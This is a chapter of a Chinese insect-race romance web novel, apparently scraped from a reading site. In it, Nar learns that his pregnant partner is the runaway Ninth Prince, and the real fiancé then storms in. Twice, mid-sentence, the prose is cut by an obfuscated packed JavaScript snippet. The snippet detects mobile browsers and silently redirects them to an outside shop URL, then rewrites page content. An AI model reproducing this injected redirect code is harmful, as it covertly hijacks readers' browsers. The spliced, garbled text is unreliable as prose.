浴室内,一直保持沉默的则法尼亚察觉到纳尔的失神,突然询问道。 对于他的问题,纳尔并未立即回应,他看着怀中的虫沉吟片刻,似乎是在思索着是否要将这件事告诉他。 半晌,纳尔还是开口了。 “我的原身来自一个特殊的家族,他们专攻打铁。少有虫知的是,这个星球上的铁块具有特殊性,只有这个家族的虫才能利用它们打造出独一无二的、不受精神力影响的铁器。” “但这些虫自幼缺少精神力和信息素, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17132588|196233||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这也是他们为何能打出特殊铁器的原因。不过,当家族成员遇到信息素契合度极高的伴侣,并成功孕育虫崽之后,他们就会重新恢复信息素和精神力。” “所以……这就是雄主您突然恢复信息素的原因。” 则法尼亚手指下意识蜷缩,面色平静地回应道,似乎并未为这个秘密感到震撼。 可只有他自己知道,那些困扰他已久的问题在这一刻终于解开了。 原来,“他们”要找的那个“雄虫”,就是纳尔,而那个“特殊物”,是铁。 “嗯。” 纳尔并未察觉到则法尼亚的异常,抬手摸了摸头顶一晃一晃的精神触角,他现在已经大概摸索了出该怎样控制它们。 “宿主。”系统的声音再次响起,“根据我的行程安排,接下来的时间我就要负责您的任务完成了。” 纳尔抬头看了他一眼,示意他说明自己的任务。 “宿主,您的任务是在三年内,成为九皇子不可动摇的精神支撑,助其彻底摆脱“僵化’的宿命,并稳定其精神力暴动至少三次。” 九皇子? 纳尔抬眉。 又是他。 纳尔没想到这个“九皇子”竟会几次三番地和他产生交集。 明明他们二虫到现在还不认识。 不过时间期限是三年,纳尔倒是松了一口气。 短短半个小时内,纳尔和则法尼亚得知了不少秘密,即使他们心里都有各自的打算,不过面上还是一片和谐。 待浴缸里的水凉了下来,纳尔和则法尼亚便裹着浴巾离开。 夜晚,纳尔像往常一样给则法尼亚煮牛奶时,他那几百年没响过的终端突然响了起来。 纳尔放下手中的杯子,划开屏幕,上面赫然写着两个字——“雄父。” 纳尔的心脏猛地被攥住。 原主的雄父? 他不是不要他了么? 怎么会突然联系自己? 事到如今,纳尔也不能拒接,他看了眼在客厅到处乱飞的系统,有些心虚地按下接听键。 “喂,雄父。” “纳尔,你现在在哪?” “七十星区。” “你确定?” “嗯,怎么了雄父?” “那为何昨日则法尼亚雌父去寻你时没见到你,你的婚事到底还要拖到什么时候?”对方的语气听起来有些生气。 “婚事?” 纳尔转头望向沙发上明显已怀孕的雌君,困惑地回答:“我早就结婚了啊,雌君都已经有虫崽了。” “胡说!则法尼亚今天和他雄父才来家里闹过,说你至今不肯履行婚约!” “……什么?” 沙发上,一直安静聆听的雌君缓缓抬起头,对纳尔露出一抹意味深长的微笑: “亲爱的,你还没发现吗?” “你当初接回家的,根本就不是你的雌君。” 18. 真假(修) “喂!纳尔,你到底有没有在听我说话?现在装聋作哑也没用了,我已经定位了你的终端信号,用不了多久,则法尼亚和他的雌父雄父就会亲自登门拜访了!” 纳尔不记得自己是如何结束那通通讯的。他目光发直地盯着手中暗下去的终端屏幕。 几秒后,他僵硬地抬起头,看向此刻正安然坐在客厅沙发上、同样注视着他的白发雌虫。 空气安静得可怕。 过了很久,纳尔听见自己声音响起: “你不是我的雌君?” “嗯。” 则法尼亚淡然地迎着他的目光,轻轻点了点头。 然而,只有他自己知道,胸腔里那颗心脏正以前所未有的频率跳动着。 “那你是谁?”纳尔迷茫地看向眼前这个熟悉的身影。 不是他的雌君?那这几个月算什么? 那些依偎的夜晚、那些对未来的幻想、甚至他刚刚开始学习如何成为一名雄父,都是为了什么? 如果这个“则法尼亚”是假的,那真的那个呢? 他是否在某个地方,正等待着这个不负责任的雄主? 那他算什么? 则法尼亚又算什么? 那个真正的婚约对象则法尼亚又算什么? 最让他喘不过气的是…… “你一直都知道,对吗?” 望着那张与他相处了数月的面庞,纳尔竟然在那张无比熟悉的表情下,捕捉到了他陌生的那一面,“为什么从来不告诉我?” “雄主……” 则法尼亚第一次在纳尔脸上看到如此失落、疏离,甚至带着被背叛的神情。 他立刻从沙发上起身,急切地想要解释,伸手去拉纳尔的手。 “雄主,你听我解释。” 就在他即将触碰到对方的前一秒,纳尔猛地后退了一步,避开了。 那只伸出的手,尴尬地僵在半空。 “我说过,”纳尔深深地看了他一眼,“我不喜欢被欺骗。” 雄主……第一次拒绝了他…… 则法尼亚终于意识到情况不对,他抿紧唇瓣,快速思考着对策。 “我原本是想告诉你的,真的,但是……”他垂下眼帘,声音也低了下去: “我怕,我怕您知道我不是‘他’之后,就不想要我了。我……我承受不起这个。” 纳尔闻言属实怔了一下。 则法尼亚仿佛下定了决心,继续剖白: “还有,雄主,其实还有一个更重要的原因,我之前一直没找到合适的机会告诉您。我真正的身份,其实是……” 他攥紧了拳头,指甲几乎要嵌进掌心。 心底有个声音在告诉他:有些事情不能再瞒了,这是最后的机会。 他闭了闭眼,再睁开时,蓝眸中只剩下坦诚:“其实,我就是……那位九皇子。” 空气安静了一瞬。 “你说的……是真的?” 九皇子。 不知为何,纳尔对这个答案并不意外。 路法索等虫的即时救援,军雌们过于恭敬的态度、庞大的财力,甚至……系统为他准备的任务。 纳尔发现,这一切都有迹可循。 但是他有一个疑问。 “那你为什么会在这里?这个偏远的星区?” 既然是九皇子,为何不待在帝国? “这是因为……” 则法尼亚敏锐地察觉到雄主的注意力已经被自己成功转移。 终于不那么生气了。 面对纳尔,则法尼亚一项采取得寸进尺的策略,见他情绪缓和,立刻伸手碰了碰纳尔的指尖。 皮肤相触的瞬间,纳尔的身体小幅度地僵硬了一下,下意识想抽回,但到底没有真的挣脱。 这个小小的让步,让则法尼亚彻底安心了。 他立刻轻轻包裹住那只手,将仍有些抗拒的纳尔拉到了沙发边坐下,甚至肆无忌惮地将自己的额头抵在了纳尔的颈窝。 “雄主,”他的声音闷闷地传来,“我刚来到这个世界时,精神力非常弱。在帝国,尤其是在皇室,一只精神力低微的雌虫,几乎是整个家族的耻辱。” “像我这样的虫,唯一的价值就是作为政治联姻的筹码。即便顶着皇子的名头,最好的归宿,也不过是成为某个大贵族的雌侍,或者……玩物。” 他手臂收紧,将纳尔抱得更牢。 “幸好,我的雌父一直暗中庇护着我。直到后来,我的精神力随着年龄增长不断增强,我才终于在皇室有了立足之地,不再被视作可以随意交换的物件。” “可是,成年后,我的雄父依然想用我去交换利益。” 他的声音低了下去,带着深入骨髓的厌恶。 “帝国的那些雄虫很可怕。对他们而言,雌虫有时只是可以交换的玩具。鞭打、罚跪是家常便饭。” “我听他虫说,有些喜欢收藏虫翼的雄虫,会将雌虫的翅膀活生生撕扯下来,制成标本把玩。” “在那里,我们的性命甚至比不过玩具。” 他抬起头,瞳孔中映出纳尔紧绷的侧脸,然后轻轻吻了吻他的下颌。 “所以,雄主,我想办法逃了出来。逃得越远越好。或许是命运眷顾,让我恰好遇见了认错虫的您。” 他停顿了一下,语气变得更加复杂,“可我知道,以我真实的身份,一旦暴露,根本无法再安然地留在您身边。所以……” “我没忍住欺骗了您。” 则法尼亚这番话说得情真意切,配合着他此刻几乎令人心碎的神色。 心软盖过了纳尔心底的其他情绪。 这是他第一次听则法尼亚诉说自己的过去。 按理说,在被如此欺骗之后,他不该再轻易相信对方的任何言辞。 可在听到“玩物”、“撕扯翅膀”那些字眼时,他到底没忍住心疼了。 因为他知道,在虫族这个世界,他说的是真的。 那么,则法尼亚隐瞒身份似乎有了令人不忍苛责的解释。 但他仍然沉默着,没有回应,也没有推开。 则法尼亚感受着这份沉默的煎熬,知道仅仅这样还不够。 他忽然想到了什么,立刻松开环抱纳尔的双手,转身向卧室跑去。 一阵急促的翻找声传来,几分钟后,他又跑了出来,怀里抱着几本书册。 “雄主,你看。”他献宝似的将最上面那本递到纳尔眼前,小心地观察着他的表情。 “我帮您抢到了你最爱的小说的典藏番外。我排了很久队,还用了点‘小手段’才弄来的。” 纳尔的注意力瞬间被那熟悉的封面吸引——《闻香识雄》。 这是他最近追得最痴迷的小说,出版数量极少,典藏版更是有价无市。 纳尔有些诧异地接过那本厚重的书,迫不及待地翻开扉页,看到了那枚独一无二的作者亲签。 雄虫的眼睛瞬间亮了。 但随即,他又绷紧了脸,只是低低“嗯”了一声,将书紧紧抱在怀里,指尖攥紧了书页。 这个动作,没能逃过则法尼亚的眼睛。 他心中巨石终于落地,知道最危险的关口已经过去,于是试探性地问了一句: “雄主,您能不能……原谅我啦?” 纳尔没看他,静静地看着手里的小说,缓慢地摇了摇头。 “不行嘛?”则法尼亚声音有些沮丧,随后又重新打起精神,“那我之后留在雄主身边慢慢赎罪行吗?” 则法尼亚是故意这么说,他不信雄主听不出来他的意思,雄主这么温柔,只要不拒绝就是默认。 于是乎,雌虫见纳尔没有立刻拒绝,一个更大胆的计划浮上心头。 “雄主,”他顺势在纳尔身边坐下,带着试探,“您要不要……考虑跟我回帝国?” 纳尔瞬间从书中抬起头:“为什么?” 则法尼亚眼帘微垂,语气担忧道: “我是从帝国逃出来的,如今已经过去好几个月,虫皇迟早会发现。与其被动地被他们找到,下场难料,不如我们主动回去,结果或许会比被抓回去要好一些。” “他们会找到这里?” “嗯,”则法尼亚轻轻点头,语气肯定,“瞒不了多久的。帝国的情报网比想象中更无孔不入。” “那为什么是现在?”纳尔不解。 则法尼亚缓缓垂首,手掌在小腹上轻轻抚过。 “这是我的私心,雄主。我想让我们的虫崽,在最好的环境下出生、成长,接受最周全的照料。帝国皇室拥有全星系最顶级的医疗和育幼资源。在这里我担心……” 纳尔明白了他的未尽之言。 虫族的孕期比人类短得多,则法尼亚的身形变化已颇为明显。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17132589|196233||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 纳尔将目光停留在那处,原本因这陌生生理变化而产生的不适,在想到那里孕育着他们共同血脉的瞬间都化作了温暖。 那是他们的结晶。 纳尔心中天平已然不知不觉倾斜。 回去,意味着面对未知的皇室纷争和那个真正的“雌君”,但也意味着更好的未来,以及身边这个雌虫真正归属的地方。 “好,那我们就……” “喂!里面有没有虫?把门给我打开!我知道你在里面,纳尔!” 一声极不客气的、趾高气扬的叫喊粗暴地打断了纳尔的话,伴随着几道几乎像要砸门的声音从玄关处传来。 纳尔下意识看向则法尼亚,后者脸上露出一丝错愕,随即化为警惕,对他摇了摇头。 纳尔起身,独自一虫走到门前,打开了门。 门外,黑压压地站着十几只穿着统一服装的军雌,为首者,是一只身形高瘦、姿态傲慢的白发雌虫。 当纳尔看清对方的面容的一瞬间,他就将眼前这张脸,与终端里那张“婚约对象”的照片对上了号。 银发,蓝眸,几乎和则法尼亚一模一样,但五官更显刻薄。 眼前这位,才是他名正言顺的雌君,真正的“则法尼亚·以塞尔”。 “你就是纳尔?” 门外的白发雌虫用那双蓝色的眼眸上下打量了一番棕发雄虫,在看到纳尔清俊出色的容貌时,他挑剔的眼神稍微缓和了那么一点。 但随即,想到这位雄虫那低得可怜的等级,那点缓和又迅速被鄙夷取代。 这种低等级雄虫,能娶到他,简直是祖坟冒青烟,还不配让他以塞尔家族出身的尊贵雌虫放下身段。 “听你雄父说,你已经结婚了?” 则法尼亚·以塞尔的语气带着毫不掩饰的怒火和兴师问罪的意味,他毫不客气地伸手,一把推开挡在门口的纳尔,径直闯入了屋内。 “是哪个不知廉耻、自甘下贱的胚子勾引了你?” 他一边往里走,一边用傲慢的语调宣告,声音在整个客厅回响: “我告诉你,纳尔,我则法尼亚·以塞尔下嫁给你,是你和你整个家族几辈子修来的福气!你竟敢背着我,在这种穷乡僻壤偷腥养野虫?” “你可知道我们以塞尔家族在帝国的地位?我可是虫皇陛下亲自赐名、唯一被允许与那位尊贵的九皇子殿下同名的雌虫!” 说到这里,他脸上浮现出一种莫名的自豪,“在帝国,九殿下之下,年轻一代便属我最为尊荣显赫!能拥有与殿下一样的名字,是我毕生的荣耀!” “你好像……很崇拜那位九皇子?”纳尔跟在他身后,忍不住问了一句,目光却不由自主地飘向客厅沙发的方向。 “崇拜?那是自然!”以塞尔倨傲地扬起下巴,睨了纳尔一眼,仿佛在嘲笑他的无知。 “你这种偏远星区的雄虫当然不懂。帝国有多少贵族雌虫,做梦都渴望拥有九皇子殿下那头雪白的银发和那代表皇室的蓝色眼眸。” 为此,他不惜花费重金,将自己原本的发色与瞳色,调整得与九皇子更为相似,并以此为傲。 “少废话!”以塞尔不耐地挥了挥手,目光快速而挑剔地扫视着客厅,最终定格在客厅沙发处。 那里,一道安静的、披着银白色长发的背影,正悠然倚靠着,仿佛对这边的喧嚣毫不在意。 哈!又是一个拙劣的模仿者! 以为染个头发就能沾上殿下的荣光了? 可笑! 以塞尔心中嗤笑,怒火混合着对被模仿者的不悦,让他大步流星地走过去,准备用最刻薄、最恶毒的语言将这个“赝品”羞辱得体无完肤,然后让护卫把他扔出去。 “你——这个不要脸的贱……” 然而,当他气势汹汹地走到沙发正面,看清那张缓缓转过来的脸时,一切的怒斥与嘲讽,都瞬间冻结了。 则法尼亚·以塞尔彻底僵住了。 沙发上,那位“赝品”微微侧着头,银发如瀑般滑落肩头。他抬起一只手,支着下颌,动作优雅从容。 那双冰蓝色的眼眸,比他那双更加纯净,此刻正平静地、甚至带着一丝玩味地注视着他。 然后,他微微一笑,这看似淡然的弧度却差点让以塞尔血液倒流。 随即,一道慵懒的嗓音,清晰地落在以塞尔的心脏上: “你是……谁啊?”